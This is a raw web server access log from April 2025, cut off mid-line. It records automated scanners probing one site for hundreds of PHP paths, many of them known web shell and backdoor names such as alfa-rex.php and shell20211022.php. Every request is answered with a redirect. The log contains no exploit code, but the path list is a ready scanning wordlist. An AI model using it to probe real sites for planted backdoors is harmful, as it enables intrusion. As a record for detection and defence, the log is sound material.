- - [18/Apr/2025:20:29:53 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:29:54 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:29:54 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:29:55 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:29:55 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:29:55 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:29:56 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:29:56 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:29:56 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:29:57 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:29:57 -0400] "GET /yindu.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:29:58 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:29:58 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:29:58 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:29:59 -0400] "GET /.well-known//index.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:29:59 -0400] "GET /libraries/phpmailer//index.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:00 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:00 -0400] "GET /wp-admin/css/colors/blue//1.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:00 -0400] "GET /wp-content/plugins//about.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:01 -0400] "GET /wp-content/plugins//index.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:01 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:01 -0400] "GET /wp-content/uploads/BbUMY/flower.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:02 -0400] "GET /wp-includes/ID3//file.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:02 -0400] "GET /wp-includes/Text/Diff/Engine//about.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:02 -0400] "GET /wp-includes/Text/Diff/Engine//index.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:04 -0400] "GET /wp-includes/css//index.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:06 -0400] "GET /wp-includes/css//xc.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:09 -0400] "GET /wp-includes/images//about.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:10 -0400] "GET /wp-includes/images/crystal//index.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:13 -0400] "GET /wp//index.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:15 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:18 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:21 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:24 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:25 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:27 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:28 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:29 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:31 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:32 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:32 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:32 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:33 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:33 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:33 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:34 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:34 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:34 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:35 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:35 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:35 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:35 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:36 -0400] "GET /xmlrpc.php0 HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:36 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:36 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:38 -0400] "GET /alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:39 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:40 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:42 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:43 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:44 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:44 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:44 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:45 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:45 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:46 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:47 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:48 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:49 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:50 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:50 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:51 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:52 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:53 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:53 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:54 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:54 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:55 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:55 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:56 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:56 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:30:56 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 49.51.243.95 - - [18/Apr/2025:20:36:08 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 13.74.22.197 - - [18/Apr/2025:21:34:45 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:34:47 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:34:48 -0400] "GET /wp-content/themes/h47vbpo2/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:34:48 -0400] "GET /.well-known/afcsthua.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:34:49 -0400] "GET /wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:34:50 -0400] "GET /form.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:34:50 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ffl82xdf59.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:34:51 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:34:52 -0400] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:34:52 -0400] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:34:53 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:34:54 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:34:55 -0400] "GET /kn.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:34:55 -0400] "GET /shell20211022.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:34:56 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:34:56 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:34:57 -0400] "GET /9index.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:34:58 -0400] "GET /s_e.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:34:58 -0400] "GET /wp-back.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:34:59 -0400] "GET /classwithtostring.php/rbzccnnp.php/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:34:59 -0400] "GET /zcoqCGrnVix.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:00 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:01 -0400] "GET /download.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:01 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:02 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:03 -0400] "GET /wb.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:05 -0400] "GET /source.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:07 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:08 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:10 -0400] "GET /wp-one.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:12 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:13 -0400] "GET /.well-known/nzhlgkwk.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:14 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:15 -0400] "GET /images/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:16 -0400] "GET /wp-commentin.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:16 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:17 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:18 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:19 -0400] "GET /wp-includes/assets/plugins.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:19 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:20 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:21 -0400] "GET /wp-includes/bmccxior.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:21 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:22 -0400] "GET /wp-content/plugins/wordpresss3cll/includes.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:23 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:24 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:25 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:25 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:26 -0400] "GET /5index.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:27 -0400] "GET /ern1.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:28 -0400] "GET /wp-content/plugins/nsplvxi/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:28 -0400] "GET /cgi-bin/wp-signup.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:29 -0400] "GET /dav.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:29 -0400] "GET /yuuki.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:30 -0400] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:31 -0400] "GET /fosil.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:32 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:33 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:33 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:35 -0400] "GET /wp-content/plugins/html404/cry.php.pjpeg HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:35 -0400] "GET /V5.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:36 -0400] "GET /wp-corn-sample.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:37 -0400] "GET /xl2023.php.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:38 -0400] "GET /imagesvuln.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:39 -0400] "GET /eNtnKM.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:39 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:40 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:41 -0400] "GET /wpx.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:41 -0400] "GET /images/sym.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:42 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:42 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:43 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:44 -0400] "GET /used.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:44 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:45 -0400] "GET /docs/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:46 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:46 -0400] "GET /.well-known/bqdoemhl.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:47 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:48 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:49 -0400] "GET /alfaindex.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:50 -0400] "GET /about/sxo.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:51 -0400] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:51 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:52 -0400] "GET /mailer1.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:52 -0400] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:53 -0400] "GET /css/dist/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:54 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:54 -0400] "GET /777.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:55 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:55 -0400] "GET /.well-known/apap.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:56 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:57 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:57 -0400] "GET /lab.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:58 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:58 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:35:59 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:00 -0400] "GET /configuracion.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:00 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:01 -0400] "GET /fucixwya.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:01 -0400] "GET /js/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:02 -0400] "GET /wp-content/plugins/ppus/up.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:03 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:03 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:04 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:05 -0400] "GET /sessions.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:05 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:06 -0400] "GET /ccx/index.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:07 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:08 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:09 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:09 -0400] "GET /BIBIL0DAY.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:10 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:11 -0400] "GET /wp-includes/blocks/heading/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:12 -0400] "GET /libraries/joomla/jmail.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:13 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:13 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:14 -0400] "GET /al.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:15 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:16 -0400] "GET /gebase.php69 HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:16 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:17 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:17 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:18 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:19 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:19 -0400] "GET /hoot.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:20 -0400] "GET /shells.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:21 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:21 -0400] "GET /bypass.php7 HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:22 -0400] "GET /wp-content/uploads/option.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:22 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:23 -0400] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:24 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:24 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:25 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:26 -0400] "GET /.well-known/xin1.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:26 -0400] "GET /wp-content/uploads/gravity_forms/g/f/f/b/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:27 -0400] "GET /MYK4TJEfFvO.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:28 -0400] "GET /wp-confirm.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:28 -0400] "GET /h.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:29 -0400] "GET /anone.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:29 -0400] "GET /wp/wp-content/themes/f6pe9wcj/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:30 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:31 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:31 -0400] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:32 -0400] "GET /demo328/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:33 -0400] "GET /wp-admin/6myKRCf7pkL.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:33 -0400] "GET /unix.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:34 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:35 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:35 -0400] "GET /wp-admin/style.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:36 -0400] "GET 